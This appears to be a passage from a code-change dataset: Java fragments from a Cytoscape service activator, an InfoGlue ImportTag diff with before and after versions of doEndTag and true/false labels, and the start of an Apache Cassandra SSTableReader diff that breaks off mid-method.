Properties exportCurrentTableTaskFactoryProps = new Properties(); exportCurrentTableTaskFactoryProps.setProperty("enableFor","table"); exportCurrentTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Table"); exportCurrentTableTaskFactoryProps.setProperty("menuGravity","1.2"); exportCurrentTableTaskFactoryProps.setProperty("title","File..."); exportCurrentTableTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_file_export.png").toString()); exportCurrentTableTaskFactoryProps.setProperty("inToolBar","true"); exportCurrentTableTaskFactoryProps.setProperty("tooltip","Export Table to File"); registerService(bc,exportCurrentTableTaskFactory,TableTaskFactory.class, exportCurrentTableTaskFactoryProps); Properties exportVizmapTaskFactoryProps = new Properties(); exportVizmapTaskFactoryProps.setProperty("enableFor","vizmap"); exportVizmapTaskFactoryProps.setProperty("preferredMenu","File.Export.Vizmap"); exportVizmapTaskFactoryProps.setProperty("menuGravity","1.1"); exportVizmapTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportVizmapTaskFactory,TaskFactory.class, exportVizmapTaskFactoryProps); Properties newSessionTaskFactoryProps = new Properties(); newSessionTaskFactoryProps.setProperty("preferredMenu","File.New"); newSessionTaskFactoryProps.setProperty("menuGravity","1.1"); newSessionTaskFactoryProps.setProperty("title","Session"); registerService(bc,newSessionTaskFactory,TaskFactory.class, newSessionTaskFactoryProps); Properties openSessionTaskFactoryProps = new Properties(); openSessionTaskFactoryProps.setProperty("preferredMenu","File"); openSessionTaskFactoryProps.setProperty("accelerator","cmd o"); openSessionTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/open_session.png").toString()); openSessionTaskFactoryProps.setProperty("title","Open"); openSessionTaskFactoryProps.setProperty("toolBarGravity","1.0"); openSessionTaskFactoryProps.setProperty("inToolBar","true"); openSessionTaskFactoryProps.setProperty("menuGravity","1.0"); openSessionTaskFactoryProps.setProperty("tooltip","Open Session"); registerService(bc,openSessionTaskFactory,TaskFactory.class, openSessionTaskFactoryProps); Properties saveSessionTaskFactoryProps = new Properties(); saveSessionTaskFactoryProps.setProperty("preferredMenu","File"); saveSessionTaskFactoryProps.setProperty("accelerator","cmd s"); saveSessionTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_save.png").toString()); saveSessionTaskFactoryProps.setProperty("title","Save"); saveSessionTaskFactoryProps.setProperty("toolBarGravity","1.1"); saveSessionTaskFactoryProps.setProperty("inToolBar","true"); saveSessionTaskFactoryProps.setProperty("menuGravity","3.0"); saveSessionTaskFactoryProps.setProperty("tooltip","Save Session"); registerService(bc,saveSessionTaskFactory,TaskFactory.class, saveSessionTaskFactoryProps); Properties saveSessionAsTaskFactoryProps = new Properties(); saveSessionAsTaskFactoryProps.setProperty("preferredMenu","File"); saveSessionAsTaskFactoryProps.setProperty("accelerator","cmd shift s"); saveSessionAsTaskFactoryProps.setProperty("menuGravity","3.1"); saveSessionAsTaskFactoryProps.setProperty("title","Save As"); registerService(bc,saveSessionAsTaskFactory,TaskFactory.class, saveSessionAsTaskFactoryProps); Properties applyPreferredLayoutTaskFactoryProps = new Properties(); applyPreferredLayoutTaskFactoryProps.setProperty("preferredMenu","Layout"); applyPreferredLayoutTaskFactoryProps.setProperty("accelerator","fn5"); applyPreferredLayoutTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/apply_layout.png").toString()); applyPreferredLayoutTaskFactoryProps.setProperty("enableFor","networkAndView"); applyPreferredLayoutTaskFactoryProps.setProperty("title","Apply Preferred Layout"); applyPreferredLayoutTaskFactoryProps.setProperty("toolBarGravity","9.0"); applyPreferredLayoutTaskFactoryProps.setProperty("inToolBar","true"); applyPreferredLayoutTaskFactoryProps.setProperty("menuGravity","5.0"); applyPreferredLayoutTaskFactoryProps.setProperty("tooltip","Apply Preferred Layout"); registerService(bc,applyPreferredLayoutTaskFactory,NetworkViewTaskFactory.class, applyPreferredLayoutTaskFactoryProps); Properties deleteColumnTaskFactoryProps = new Properties(); deleteColumnTaskFactoryProps.setProperty("title","Delete column"); registerService(bc,deleteColumnTaskFactory,TableColumnTaskFactory.class, deleteColumnTaskFactoryProps); Properties renameColumnTaskFactoryProps = new Properties(); renameColumnTaskFactoryProps.setProperty("title","Rename column"); registerService(bc,renameColumnTaskFactory,TableColumnTaskFactory.class, renameColumnTaskFactoryProps); Properties copyValueToEntireColumnTaskFactoryProps = new Properties(); copyValueToEntireColumnTaskFactoryProps.setProperty("title","Copy to entire column"); registerService(bc,copyValueToEntireColumnTaskFactory,TableCellTaskFactory.class, copyValueToEntireColumnTaskFactoryProps); registerService(bc,deleteTableTaskFactory,TableTaskFactory.class, new Properties()); Properties quickStartTaskFactoryProps = new Properties(); quickStartTaskFactoryProps.setProperty("scope","startup"); quickStartTaskFactoryProps.setProperty("title","QuickStart"); registerService(bc,quickStartTaskFactory,TaskFactory.class, quickStartTaskFactoryProps); Properties welcomeTaskFactoryProps = new Properties(); welcomeTaskFactoryProps.setProperty("scope","startup"); welcomeTaskFactoryProps.setProperty("title","Welcome Screen"); welcomeTaskFactoryProps.setProperty("id","WelcomeScreen"); registerService(bc,welcomeTaskFactory,TaskFactory.class, welcomeTaskFactoryProps); registerAllServices(bc,bioGridPreprocessor, new Properties()); Properties connectSelectedNodesTaskFactoryProps = new Properties(); connectSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Edit"); connectSelectedNodesTaskFactoryProps.setProperty("enableFor","network"); connectSelectedNodesTaskFactoryProps.setProperty("toolBarGravity","2.5"); connectSelectedNodesTaskFactoryProps.setProperty("title","Connect Selected Nodes"); registerService(bc,connectSelectedNodesTaskFactory,TaskFactory.class, connectSelectedNodesTaskFactoryProps); registerServiceListener(bc,importTaskUtil,"addProcessor","removeProcessor",InteractionFilePreprocessor.class); registerServiceListener(bc,subnetworkBuilderUtil,"addProcessor","removeProcessor",InteractionFilePreprocessor.class); registerServiceListener(bc,subnetworkBuilderUtil,"addFactory","removeFactory",VisualMappingFunctionFactory.class); //ShowWelcomeScreenTask ws = new ShowWelcomeScreenTask(); //registerAllServices(bc, ws, new Properties()); }
diff --git a/src/java/org/infoglue/deliver/taglib/common/ImportTag.java b/src/java/org/infoglue/deliver/taglib/common/ImportTag.java index f7a73446b..a78d21f23 100755 --- a/src/java/org/infoglue/deliver/taglib/common/ImportTag.java +++ b/src/java/org/infoglue/deliver/taglib/common/ImportTag.java @@ -1,281 +1,282 @@ /* =============================================================================== * * Part of the InfoGlue Content Management Platform (www.infoglue.org) * * =============================================================================== * * Copyright (C) * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License version 2, as published by the * Free Software Foundation. See the file LICENSE.html for more information. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY, including the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc. / 59 Temple * Place, Suite 330 / Boston, MA 02111-1307 / USA. * * =============================================================================== */ package org.infoglue.deliver.taglib.common; import java.util.HashMap; import java.util.Map; import javax.servlet.jsp.JspException; import org.apache.log4j.Level; import org.apache.log4j.Logger; import org.infoglue.cms.util.CmsPropertyHandler; import org.infoglue.deliver.taglib.TemplateControllerTag; import org.infoglue.deliver.util.CacheController; import org.infoglue.deliver.util.HttpHelper; import org.infoglue.deliver.util.Timer; import org.infoglue.deliver.util.ioqueue.CachingIOResultHandler; import org.infoglue.deliver.util.ioqueue.HttpUniqueRequestQueue; import org.infoglue.deliver.util.ioqueue.HttpUniqueRequestQueueBean; public class ImportTag extends TemplateControllerTag { private static final long serialVersionUID = 4050206323348354355L; private final static Logger logger = Logger.getLogger(ImportTag.class.getName()); private String url; private String charEncoding; private Map requestProperties = new HashMap(); private Map requestParameters = new HashMap(); private Integer timeout = new Integer(30000); private Boolean useCache = false; private String cacheName = "importTagResultCache"; private String cacheKey = null; private Boolean useFileCacheFallback = false; private String fileCacheCharEncoding = null; private Integer cacheTimeout = new Integer(3600); private HttpHelper helper = new HttpHelper(); public ImportTag() { super(); } /** * Initializes the parameters to make it accessible for the children tags (if any). * * @return indication of whether to evaluate the body or not. * @throws JspException if an error occurred while processing this tag. */ public int doStartTag() throws JspException { return EVAL_BODY_INCLUDE; } /** * Generates the url and either sets the result attribute or writes the url * to the output stream. * * @return indication of whether to continue evaluating the JSP page. * @throws JspException if an error occurred while processing this tag. */ public int doEndTag() throws JspException { String forceImportTagFileCaching = CmsPropertyHandler.getProperty("forceImportTagFileCaching"); if(forceImportTagFileCaching != null && forceImportTagFileCaching.equals("true")) { useCache = true; useFileCacheFallback = true; fileCacheCharEncoding = "iso-8859-1"; - cacheTimeout = new Integer(3600); + if(cacheTimeout != null) + cacheTimeout = new Integer(3600); } try { Timer t = new Timer(); if(logger.isInfoEnabled()) { logger.info("useCache:" + useCache); logger.info("cacheKey:" + cacheKey); logger.info("useFileCacheFallback:" + useFileCacheFallback); logger.info("cacheTimeout:" + cacheTimeout); } if(!useCache) { if(logger.isInfoEnabled()) logger.info("Calling url directly..."); String result = helper.getUrlContent(url, requestParameters, charEncoding, timeout.intValue()); produceResult(result); } else { if(logger.isInfoEnabled()) logger.info("Using cache..."); if(fileCacheCharEncoding == null) fileCacheCharEncoding = charEncoding; String completeUrl = url + "_" + helper.toEncodedString(requestParameters, charEncoding) + "_" + charEncoding + "_" + fileCacheCharEncoding; String localCacheKey = "result_" + completeUrl.hashCode(); if(cacheKey != null && !cacheKey.equals("")) localCacheKey = cacheKey; CachingIOResultHandler resultHandler = new CachingIOResultHandler(); resultHandler.setCacheKey(localCacheKey); resultHandler.setCacheName(cacheName); resultHandler.setUseFileCacheFallback(useFileCacheFallback); resultHandler.setFileCacheCharEncoding(fileCacheCharEncoding); String cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey, cacheTimeout.intValue(), false, fileCacheCharEncoding); if(logger.isInfoEnabled()) t.printElapsedTime("Getting timed cache result:" + cachedResult); boolean callInBackground = false; if((cachedResult == null || cachedResult.equals(""))) { callInBackground = true; if(logger.isInfoEnabled()) logger.info("Not valid..."); if(useFileCacheFallback) { cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey, true, fileCacheCharEncoding); if(logger.isInfoEnabled()) logger.info("getting cachedResult with useFileCacheFallback"); } else { cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey); if(logger.isInfoEnabled()) logger.info("getting cachedResult without useFileCacheFallback"); } } if(cachedResult == null || cachedResult.equals("")) { if(logger.isInfoEnabled()) logger.info("Calling url directly as last resort..."); cachedResult = helper.getUrlContent(url, requestParameters, charEncoding, timeout.intValue()); if(logger.isInfoEnabled()) t.printElapsedTime("5 took.."); resultHandler.handleResult(cachedResult); if(logger.isInfoEnabled()) t.printElapsedTime("6 took.."); } else if(callInBackground) { if(logger.isInfoEnabled()) logger.info("Adding url to queue..."); queueBean(resultHandler); } if(logger.isInfoEnabled()) logger.info("Sending out the cached result..."); produceResult(cachedResult); } if(logger.isInfoEnabled()) t.printElapsedTime("Import took.."); } catch (Exception e) { - logger.error("An error occurred when we tried during (" + timeout + " ms) to import the url:" + this.url + ":" + e.getMessage()); + logger.error("An error occurred when we tried during (" + timeout + " ms) to import the url:" + this.url + ":" + e.getMessage(), e); produceResult(""); } this.useCache = false; this.cacheKey = null; this.cacheTimeout = new Integer(30000); this.useFileCacheFallback = false; this.fileCacheCharEncoding = null; return EVAL_PAGE; } private void queueBean(CachingIOResultHandler resultHandler) { if(logger.isInfoEnabled()) logger.info("Calling url in background..."); HttpUniqueRequestQueueBean bean = new HttpUniqueRequestQueueBean(); bean.setEncoding(this.charEncoding); bean.setFetcher(helper); bean.setHandler(resultHandler); bean.setRequestParameters(requestParameters); bean.setRequestProperties(requestProperties); bean.setTimeout(timeout); bean.setUrlAddress(url); try { bean.setSerializedParameters(helper.toEncodedString(requestParameters, this.charEncoding)); } catch (Exception e) { e.printStackTrace(); } HttpUniqueRequestQueue.getHttpUniqueRequestQueue().addHttpUniqueRequestQueueBean(bean); } public void setUrl(String url) throws JspException { this.url = evaluateString("importTag", "url", url); } public void setCharEncoding(String charEncoding) throws JspException { this.charEncoding = evaluateString("importTag", "charEncoding", charEncoding); } public void setTimeout(String timeout) throws JspException { this.timeout = evaluateInteger("importTag", "timeout", timeout); } public void setUseCache(String useCache) throws JspException { this.useCache = (Boolean)evaluate("importTag", "useCache", useCache, Boolean.class); } public void setUseFileCacheFallback(String useFileCacheFallback) throws JspException { this.useFileCacheFallback = (Boolean)evaluate("importTag", "useFileCacheFallback", useFileCacheFallback, Boolean.class); } public void setFileCacheCharEncoding(String fileCacheCharEncoding) throws JspException { this.fileCacheCharEncoding = evaluateString("importTag", "fileCacheCharEncoding", fileCacheCharEncoding); } public void setCacheKey(String cacheKey) throws JspException { this.cacheKey = evaluateString("importTag", "cacheKey", cacheKey); } public void setCacheTimeout(String cacheTimeout) throws JspException { this.cacheTimeout = evaluateInteger("importTag", "cacheTimeout", cacheTimeout); } protected final void addProperty(final String name, final String value) { requestProperties.put(name, value); } protected final void addParameter(final String name, final String value) { requestParameters.put(name, value); } }
false
true
public int doEndTag() throws JspException { String forceImportTagFileCaching = CmsPropertyHandler.getProperty("forceImportTagFileCaching"); if(forceImportTagFileCaching != null && forceImportTagFileCaching.equals("true")) { useCache = true; useFileCacheFallback = true; fileCacheCharEncoding = "iso-8859-1"; cacheTimeout = new Integer(3600); } try { Timer t = new Timer(); if(logger.isInfoEnabled()) { logger.info("useCache:" + useCache); logger.info("cacheKey:" + cacheKey); logger.info("useFileCacheFallback:" + useFileCacheFallback); logger.info("cacheTimeout:" + cacheTimeout); } if(!useCache) { if(logger.isInfoEnabled()) logger.info("Calling url directly..."); String result = helper.getUrlContent(url, requestParameters, charEncoding, timeout.intValue()); produceResult(result); } else { if(logger.isInfoEnabled()) logger.info("Using cache..."); if(fileCacheCharEncoding == null) fileCacheCharEncoding = charEncoding; String completeUrl = url + "_" + helper.toEncodedString(requestParameters, charEncoding) + "_" + charEncoding + "_" + fileCacheCharEncoding; String localCacheKey = "result_" + completeUrl.hashCode(); if(cacheKey != null && !cacheKey.equals("")) localCacheKey = cacheKey; CachingIOResultHandler resultHandler = new CachingIOResultHandler(); resultHandler.setCacheKey(localCacheKey); resultHandler.setCacheName(cacheName); resultHandler.setUseFileCacheFallback(useFileCacheFallback); resultHandler.setFileCacheCharEncoding(fileCacheCharEncoding); String cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey, cacheTimeout.intValue(), false, fileCacheCharEncoding); if(logger.isInfoEnabled()) t.printElapsedTime("Getting timed cache result:" + cachedResult); boolean callInBackground = false; if((cachedResult == null || cachedResult.equals(""))) { callInBackground = true; if(logger.isInfoEnabled()) logger.info("Not valid..."); if(useFileCacheFallback) { cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey, true, fileCacheCharEncoding); if(logger.isInfoEnabled()) logger.info("getting cachedResult with useFileCacheFallback"); } else { cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey); if(logger.isInfoEnabled()) logger.info("getting cachedResult without useFileCacheFallback"); } } if(cachedResult == null || cachedResult.equals("")) { if(logger.isInfoEnabled()) logger.info("Calling url directly as last resort..."); cachedResult = helper.getUrlContent(url, requestParameters, charEncoding, timeout.intValue()); if(logger.isInfoEnabled()) t.printElapsedTime("5 took.."); resultHandler.handleResult(cachedResult); if(logger.isInfoEnabled()) t.printElapsedTime("6 took.."); } else if(callInBackground) { if(logger.isInfoEnabled()) logger.info("Adding url to queue..."); queueBean(resultHandler); } if(logger.isInfoEnabled()) logger.info("Sending out the cached result..."); produceResult(cachedResult); } if(logger.isInfoEnabled()) t.printElapsedTime("Import took.."); } catch (Exception e) { logger.error("An error occurred when we tried during (" + timeout + " ms) to import the url:" + this.url + ":" + e.getMessage()); produceResult(""); } this.useCache = false; this.cacheKey = null; this.cacheTimeout = new Integer(30000); this.useFileCacheFallback = false; this.fileCacheCharEncoding = null; return EVAL_PAGE; }
public int doEndTag() throws JspException { String forceImportTagFileCaching = CmsPropertyHandler.getProperty("forceImportTagFileCaching"); if(forceImportTagFileCaching != null && forceImportTagFileCaching.equals("true")) { useCache = true; useFileCacheFallback = true; fileCacheCharEncoding = "iso-8859-1"; if(cacheTimeout != null) cacheTimeout = new Integer(3600); } try { Timer t = new Timer(); if(logger.isInfoEnabled()) { logger.info("useCache:" + useCache); logger.info("cacheKey:" + cacheKey); logger.info("useFileCacheFallback:" + useFileCacheFallback); logger.info("cacheTimeout:" + cacheTimeout); } if(!useCache) { if(logger.isInfoEnabled()) logger.info("Calling url directly..."); String result = helper.getUrlContent(url, requestParameters, charEncoding, timeout.intValue()); produceResult(result); } else { if(logger.isInfoEnabled()) logger.info("Using cache..."); if(fileCacheCharEncoding == null) fileCacheCharEncoding = charEncoding; String completeUrl = url + "_" + helper.toEncodedString(requestParameters, charEncoding) + "_" + charEncoding + "_" + fileCacheCharEncoding; String localCacheKey = "result_" + completeUrl.hashCode(); if(cacheKey != null && !cacheKey.equals("")) localCacheKey = cacheKey; CachingIOResultHandler resultHandler = new CachingIOResultHandler(); resultHandler.setCacheKey(localCacheKey); resultHandler.setCacheName(cacheName); resultHandler.setUseFileCacheFallback(useFileCacheFallback); resultHandler.setFileCacheCharEncoding(fileCacheCharEncoding); String cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey, cacheTimeout.intValue(), false, fileCacheCharEncoding); if(logger.isInfoEnabled()) t.printElapsedTime("Getting timed cache result:" + cachedResult); boolean callInBackground = false; if((cachedResult == null || cachedResult.equals(""))) { callInBackground = true; if(logger.isInfoEnabled()) logger.info("Not valid..."); if(useFileCacheFallback) { cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey, true, fileCacheCharEncoding); if(logger.isInfoEnabled()) logger.info("getting cachedResult with useFileCacheFallback"); } else { cachedResult = (String)CacheController.getCachedObjectFromAdvancedCache(cacheName, localCacheKey); if(logger.isInfoEnabled()) logger.info("getting cachedResult without useFileCacheFallback"); } } if(cachedResult == null || cachedResult.equals("")) { if(logger.isInfoEnabled()) logger.info("Calling url directly as last resort..."); cachedResult = helper.getUrlContent(url, requestParameters, charEncoding, timeout.intValue()); if(logger.isInfoEnabled()) t.printElapsedTime("5 took.."); resultHandler.handleResult(cachedResult); if(logger.isInfoEnabled()) t.printElapsedTime("6 took.."); } else if(callInBackground) { if(logger.isInfoEnabled()) logger.info("Adding url to queue..."); queueBean(resultHandler); } if(logger.isInfoEnabled()) logger.info("Sending out the cached result..."); produceResult(cachedResult); } if(logger.isInfoEnabled()) t.printElapsedTime("Import took.."); } catch (Exception e) { logger.error("An error occurred when we tried during (" + timeout + " ms) to import the url:" + this.url + ":" + e.getMessage(), e); produceResult(""); } this.useCache = false; this.cacheKey = null; this.cacheTimeout = new Integer(30000); this.useFileCacheFallback = false; this.fileCacheCharEncoding = null; return EVAL_PAGE; }
diff --git a/src/java/org/apache/cassandra/io/sstable/SSTableReader.java b/src/java/org/apache/cassandra/io/sstable/SSTableReader.java index b89ee24a2..a67c1ab9a 100644 --- a/src/java/org/apache/cassandra/io/sstable/SSTableReader.java +++ b/src/java/org/apache/cassandra/io/sstable/SSTableReader.java @@ -1,1132 +1,1135 @@ /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.cassandra.io.sstable; import java.io.*; import java.nio.ByteBuffer; import java.util.*; import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicBoolean; import java.util.concurrent.*; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.apache.cassandra.cache.InstrumentingCache; import org.apache.cassandra.cache.KeyCacheKey; import org.apache.cassandra.concurrent.DebuggableThreadPoolExecutor; import org.apache.cassandra.config.CFMetaData; import org.apache.cassandra.config.ColumnDefinition; import org.apache.cassandra.config.DatabaseDescriptor; import org.apache.cassandra.config.Schema; import org.apache.cassandra.db.*; import org.apache.cassandra.db.commitlog.ReplayPosition; import org.apache.cassandra.db.index.SecondaryIndex; import org.apache.cassandra.db.filter.QueryFilter; import org.apache.cassandra.dht.AbstractBounds; import org.apache.cassandra.dht.IPartitioner; import org.apache.cassandra.dht.LocalPartitioner; import org.apache.cassandra.dht.Range; import org.apache.cassandra.dht.Token; import org.apache.cassandra.io.compress.CompressedRandomAccessReader; import org.apache.cassandra.io.compress.CompressionMetadata; import org.apache.cassandra.io.util.*; import org.apache.cassandra.service.CacheService; import org.apache.cassandra.service.StorageService; import org.apache.cassandra.utils.*; import static org.apache.cassandra.db.Directories.SECONDARY_INDEX_NAME_SEPARATOR; /** * SSTableReaders are open()ed by Table.onStart; after that they are created by SSTableWriter.renameAndOpen. * Do not re-call open() on existing SSTable files; use the references kept by ColumnFamilyStore post-start instead. */ public class SSTableReader extends SSTable { private static final Logger logger = LoggerFactory.getLogger(SSTableReader.class); // guesstimated size of INDEX_INTERVAL index entries private static final int INDEX_FILE_BUFFER_BYTES = 16 * DatabaseDescriptor.getIndexInterval(); /** * maxDataAge is a timestamp in local server time (e.g. System.currentTimeMilli) which represents an uppper bound * to the newest piece of data stored in the sstable. In other words, this sstable does not contain items created * later than maxDataAge. * * The field is not serialized to disk, so relying on it for more than what truncate does is not advised. * * When a new sstable is flushed, maxDataAge is set to the time of creation. * When a sstable is created from compaction, maxDataAge is set to max of all merged tables. * * The age is in milliseconds since epoc and is local to this host. */ public final long maxDataAge; // indexfile and datafile: might be null before a call to load() private SegmentedFile ifile; private SegmentedFile dfile; private IndexSummary indexSummary; private Filter bf; private InstrumentingCache<KeyCacheKey, RowIndexEntry> keyCache; private final BloomFilterTracker bloomFilterTracker = new BloomFilterTracker(); private final AtomicInteger references = new AtomicInteger(1); // technically isCompacted is not necessary since it should never be unreferenced unless it is also compacted, // but it seems like a good extra layer of protection against reference counting bugs to not delete data based on that alone private final AtomicBoolean isCompacted = new AtomicBoolean(false); private final AtomicBoolean isSuspect = new AtomicBoolean(false); private final SSTableDeletingTask deletingTask; private final SSTableMetadata sstableMetadata; public static long getApproximateKeyCount(Iterable<SSTableReader> sstables) { long count = 0; for (SSTableReader sstable : sstables) { int indexKeyCount = sstable.getKeySamples().size(); count = count + (indexKeyCount + 1) * DatabaseDescriptor.getIndexInterval(); if (logger.isDebugEnabled()) logger.debug("index size for bloom filter calc for file : " + sstable.getFilename() + " : " + count); } return count; } public static SSTableReader open(Descriptor descriptor) throws IOException { CFMetaData metadata; if (descriptor.cfname.contains(SECONDARY_INDEX_NAME_SEPARATOR)) { int i = descriptor.cfname.indexOf(SECONDARY_INDEX_NAME_SEPARATOR); String parentName = descriptor.cfname.substring(0, i); CFMetaData parent = Schema.instance.getCFMetaData(descriptor.ksname, parentName); ColumnDefinition def = parent.getColumnDefinitionForIndex(descriptor.cfname.substring(i + 1)); metadata = CFMetaData.newIndexMetadata(parent, def, SecondaryIndex.getIndexComparator(parent, def)); } else { metadata = Schema.instance.getCFMetaData(descriptor.ksname, descriptor.cfname); } return open(descriptor, metadata); } public static SSTableReader open(Descriptor desc, CFMetaData metadata) throws IOException { IPartitioner p = desc.cfname.contains(SECONDARY_INDEX_NAME_SEPARATOR) ? new LocalPartitioner(metadata.getKeyValidator()) : StorageService.getPartitioner(); return open(desc, componentsFor(desc), metadata, p); } public static SSTableReader openNoValidation(Descriptor descriptor, Set<Component> components, CFMetaData metadata) throws IOException { return open(descriptor, components, metadata, StorageService.getPartitioner(), false); } public static SSTableReader open(Descriptor descriptor, Set<Component> components, CFMetaData metadata, IPartitioner partitioner) throws IOException { return open(descriptor, components, metadata, partitioner, true); } private static SSTableReader open(Descriptor descriptor, Set<Component> components, CFMetaData metadata, IPartitioner partitioner, boolean validate) throws IOException { assert partitioner != null; // Minimum components without which we can't do anything assert components.contains(Component.DATA); assert components.contains(Component.PRIMARY_INDEX); long start = System.currentTimeMillis(); logger.info("Opening {} ({} bytes)", descriptor, new File(descriptor.filenameFor(COMPONENT_DATA)).length()); SSTableMetadata sstableMetadata = components.contains(Component.STATS) ? SSTableMetadata.serializer.deserialize(descriptor) : SSTableMetadata.createDefaultInstance(); // Check if sstable is created using same partitioner. // Partitioner can be null, which indicates older version of sstable or no stats available. // In that case, we skip the check. String partitionerName = partitioner.getClass().getCanonicalName(); if (sstableMetadata.partitioner != null && !partitionerName.equals(sstableMetadata.partitioner)) { logger.warn("Changing paritioner on a existing cluster can cause data loose, Please verify your partitioner in cassandra.yaml"); logger.error(String.format("Cannot open %s because partitioner does not match %s != %s",descriptor, sstableMetadata.partitioner, partitionerName)); System.exit(1); } SSTableReader sstable = new SSTableReader(descriptor, components, metadata, partitioner, null, null, null, null, System.currentTimeMillis(), sstableMetadata); // versions before 'c' encoded keys as utf-16 before hashing to the filter if (descriptor.version.hasStringsInBloomFilter) { sstable.load(true); } else { sstable.load(false); sstable.loadBloomFilter(); } if (validate) sstable.validate(); if (logger.isDebugEnabled()) logger.debug("INDEX LOAD TIME for " + descriptor + ": " + (System.currentTimeMillis() - start) + " ms."); if (logger.isDebugEnabled() && sstable.getKeyCache() != null) logger.debug(String.format("key cache contains %s/%s keys", sstable.getKeyCache().size(), sstable.getKeyCache().getCapacity())); return sstable; } public static void logOpenException(Descriptor descriptor, IOException e) { if (e instanceof FileNotFoundException) logger.error("Missing sstable component in " + descriptor + "; skipped because of " + e.getMessage()); else logger.error("Corrupt sstable " + descriptor + "; skipped", e); } public static Collection<SSTableReader> batchOpen(Set<Map.Entry<Descriptor, Set<Component>>> entries, final CFMetaData metadata, final IPartitioner partitioner) { final Collection<SSTableReader> sstables = new LinkedBlockingQueue<SSTableReader>(); ExecutorService executor = DebuggableThreadPoolExecutor.createWithFixedPoolSize("SSTableBatchOpen", Runtime.getRuntime().availableProcessors()); for (final Map.Entry<Descriptor, Set<Component>> entry : entries) { Runnable runnable = new Runnable() { public void run() { SSTableReader sstable; try { sstable = open(entry.getKey(), entry.getValue(), metadata, partitioner); } catch (IOException ex) { logger.error("Corrupt sstable " + entry + "; skipped", ex); return; } sstables.add(sstable); } }; executor.submit(runnable); } executor.shutdown(); try { executor.awaitTermination(7, TimeUnit.DAYS); } catch (InterruptedException e) { throw new AssertionError(e); } return sstables; } /** * Open a RowIndexedReader which already has its state initialized (by SSTableWriter). */ static SSTableReader internalOpen(Descriptor desc, Set<Component> components, CFMetaData metadata, IPartitioner partitioner, SegmentedFile ifile, SegmentedFile dfile, IndexSummary isummary, Filter bf, long maxDataAge, SSTableMetadata sstableMetadata) { assert desc != null && partitioner != null && ifile != null && dfile != null && isummary != null && bf != null && sstableMetadata != null; return new SSTableReader(desc, components, metadata, partitioner, ifile, dfile, isummary, bf, maxDataAge, sstableMetadata); } private SSTableReader(Descriptor desc, Set<Component> components, CFMetaData metadata, IPartitioner partitioner, SegmentedFile ifile, SegmentedFile dfile, IndexSummary indexSummary, Filter bloomFilter, long maxDataAge, SSTableMetadata sstableMetadata) { super(desc, components, metadata, partitioner); this.sstableMetadata = sstableMetadata; this.maxDataAge = maxDataAge; this.ifile = ifile; this.dfile = dfile; this.indexSummary = indexSummary; this.bf = bloomFilter; this.deletingTask = new SSTableDeletingTask(this); } public void setTrackedBy(DataTracker tracker) { keyCache = CacheService.instance.keyCache; deletingTask.setTracker(tracker); } void loadBloomFilter() throws IOException { if (!components.contains(Component.FILTER)) { bf = FilterFactory.emptyFilter(); return; } DataInputStream stream = null; try { stream = new DataInputStream(new BufferedInputStream(new FileInputStream(descriptor.filenameFor(Component.FILTER)))); bf = FilterFactory.deserialize(stream, descriptor.version.filterType); } finally { FileUtils.closeQuietly(stream); } } /** * Loads ifile, dfile and indexSummary, and optionally recreates the bloom filter. */ private void load(boolean recreatebloom) throws IOException { SegmentedFile.Builder ibuilder = SegmentedFile.getBuilder(DatabaseDescriptor.getIndexAccessMode()); SegmentedFile.Builder dbuilder = compression ? SegmentedFile.getCompressedBuilder() : SegmentedFile.getBuilder(DatabaseDescriptor.getDiskAccessMode()); // we read the positions in a BRAF so we don't have to worry about an entry spanning a mmap boundary. RandomAccessReader primaryIndex = RandomAccessReader.open(new File(descriptor.filenameFor(Component.PRIMARY_INDEX)), true); // try to load summaries from the disk and check if we need // to read primary index because we should re-create a BloomFilter or pre-load KeyCache final boolean summaryLoaded = loadSummary(this, ibuilder, dbuilder); final boolean readIndex = recreatebloom || !summaryLoaded; try { long indexSize = primaryIndex.length(); long histogramCount = sstableMetadata.estimatedRowSize.count(); long estimatedKeys = histogramCount > 0 && !sstableMetadata.estimatedRowSize.isOverflowed() ? histogramCount : estimateRowsFromIndex(primaryIndex); // statistics is supposed to be optional if (recreatebloom) bf = LegacyBloomFilter.getFilter(estimatedKeys, 15); if (!summaryLoaded) indexSummary = new IndexSummary(estimatedKeys); long indexPosition; while (readIndex && (indexPosition = primaryIndex.getFilePointer()) != indexSize) { ByteBuffer key = ByteBufferUtil.readWithShortLength(primaryIndex); RowIndexEntry indexEntry = RowIndexEntry.serializer.deserialize(primaryIndex, descriptor.version); DecoratedKey decoratedKey = decodeKey(partitioner, descriptor, key); if (first == null) first = decoratedKey; last = decoratedKey; if (recreatebloom) 